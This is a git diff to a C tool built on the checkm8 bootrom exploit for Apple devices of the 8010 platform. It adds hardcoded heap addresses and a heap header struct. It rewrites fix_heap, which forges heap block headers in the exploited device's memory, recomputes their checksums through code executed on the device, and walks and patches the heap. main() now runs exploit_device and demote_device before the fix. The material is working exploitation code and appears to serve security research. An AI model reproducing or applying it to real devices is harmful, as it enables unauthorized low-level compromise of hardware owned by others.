diff --git a/c8_remote/include/dev/addr.h b/c8_remote/include/dev/addr.h index 5cf9f8c..07f1c69 100644 --- a/c8_remote/include/dev/addr.h +++ b/c8_remote/include/dev/addr.h @@ -40,6 +40,10 @@ #define ADDR_DEV_MEMALIGN 0x10000f380 #define ADDR_DEV_FREE 0x10000f1b0 +#define ADDR_HEAP_COOKIE 0x180080640 +#define ADDR_HEAP_BASE 0x1801b4000 +#define ADDR_HEAP_END 0x1801fffc0 + /* Misc */ #define ADDR_RANDOM_RET 0x10000b924 #define ADDR_SYNC_ENTRY 0x1800afc84 diff --git a/c8_remote/include/dev/types.h b/c8_remote/include/dev/types.h index d811ec3..22e58f5 100644 --- a/c8_remote/include/dev/types.h +++ b/c8_remote/include/dev/types.h @@ -17,6 +17,21 @@ struct aes_constants unsigned char rc_lookup[11]; } __attribute__ ((packed)); +struct heap_header +{ + unsigned long long chksum; + unsigned long long pad[3]; + + unsigned long long curr_size; + unsigned long long curr_free : 1; + + unsigned long long prev_free : 1; + unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2); + + unsigned long long pad_start; + unsigned long long pad_end; +} header; + struct bern_data { double t[16][256]; diff --git a/c8_remote/main.c b/c8_remote/main.c index 5f887ae..9e5cec1 100644 --- a/c8_remote/main.c +++ b/c8_remote/main.c @@ -14,6 +14,7 @@ #include #include +#include #endif @@ -182,23 +183,28 @@ void run_corr_exp(struct pwned_device *dev, char *fname) int main() { struct pwned_device *dev = exploit_device(); - if(dev == NULL || dev->status == DEV_NORMAL) { printf("Failed to exploit device\n"); return -1; } - fix_heap(dev); + open_device_session(dev); + demote_device(dev); + fix_heap(dev); + usb_task_exit(dev); - run_corr_exp(dev, "key00"); + close_device_session(dev); - uninstall_all_data(dev); - uninstall_all_payloads(dev); - // crash! - execute_gadget(dev, 0, 0, 0); +// run_corr_exp(dev, "key00"); +// +// uninstall_all_data(dev); +// uninstall_all_payloads(dev); +// +// // crash! +// execute_gadget(dev, 0, 0, 0); free_device(dev); return 0; } diff --git a/c8_remote/src/exploit.c b/c8_remote/src/exploit.c index 7db4548..4771d82 100644 --- a/c8_remote/src/exploit.c +++ b/c8_remote/src/exploit.c @@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev) int fix_heap(struct pwned_device *dev) { checkm8_debug_indent("fix_heap(dev = %p)\n", dev); - int close; + struct heap_header block; + struct dev_cmd_resp *resp; - #if CHECKM8_PLATFORM == 8010 - unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0}; - unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0}; - unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0}; + unsigned long long calc_args[5]; + int ret, i; - unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640}; - unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640}; - unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640}; +#if CHECKM8_PLATFORM == 8010 + unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40}; + unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280}; - if(is_device_session_open(dev)) close = 0; - else + memset(&block, 0, sizeof(struct heap_header)); + block.curr_size = (0x80 / 0x40); + block.pad_start = 0x80; + + calc_args[0] = ADDR_CALC_CHKSUM; + //calc_args[1-2] block specific + calc_args[3] = 32; + calc_args[4] = ADDR_HEAP_COOKIE; + + for(i = 0; i < 3; i++) { - close = 1; - if(IS_CHECKM8_FAIL(open_device_session(dev))) + block.prev_size = prev_sizes[i]; + resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header)); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) { - checkm8_debug_indent("\tfailed to open a device session\n"); - return CHECKM8_FAIL_XFER; + checkm8_debug_indent("\tfailed to write block %i header\n", i); + return ret; + } + + calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20; + resp = dev_exec(dev, 0, 5, calc_args); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i); + return ret; } } - dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64); - dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64); - dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64); + calc_args[0] = ADDR_CHECK_ALL_CHKSUMS; + dev_exec(dev, 0, 1, calc_args); + calc_args[0] = ADDR_CALC_CHKSUM; - dev_exec(dev, 0, 5, calc1_args); - dev_exec(dev, 0, 5, calc2_args); - dev_exec(dev, 0, 5, calc3_args); + unsigned long long curr = ADDR_HEAP_BASE; + while(1) + { + resp = dev_read_memory(dev, curr, sizeof(struct heap_header)); + memcpy(&block, resp->data, sizeof(struct heap_header)); + ret = resp->ret, free_dev_cmd_resp(resp); - if(close) close_device_session(dev); + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr); + return ret; + } + + if(curr + block.curr_size * 0x40 == ADDR_HEAP_END) + { + block.curr_size -= 1; + resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header)); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to write second-to-last block header\n"); + return ret; + } + + calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48; + resp = dev_exec(dev, 0, 5, calc_args); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n"); + return ret; + } + + block.prev_free = block.curr_free; + block.prev_size = block.curr_size; + block.curr_free = 0; + block.curr_size = 1; + resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header), + (unsigned char *) &block, sizeof(struct heap_header)); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to write last block header\n"); + return ret; + } + + calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header); + calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20; + calc_args[3] = 32; + resp = dev_exec(dev, 0, 5, calc_args); + ret = resp->ret, free_dev_cmd_resp(resp); + + if(IS_CHECKM8_FAIL(ret)) + { + checkm8_debug_indent("\tfailed to calculate last block checksum\n"); + return ret; + } + + break; + } + + curr += block.curr_size * 0x40; + } #else #error "Can't fix heap for unknown platform"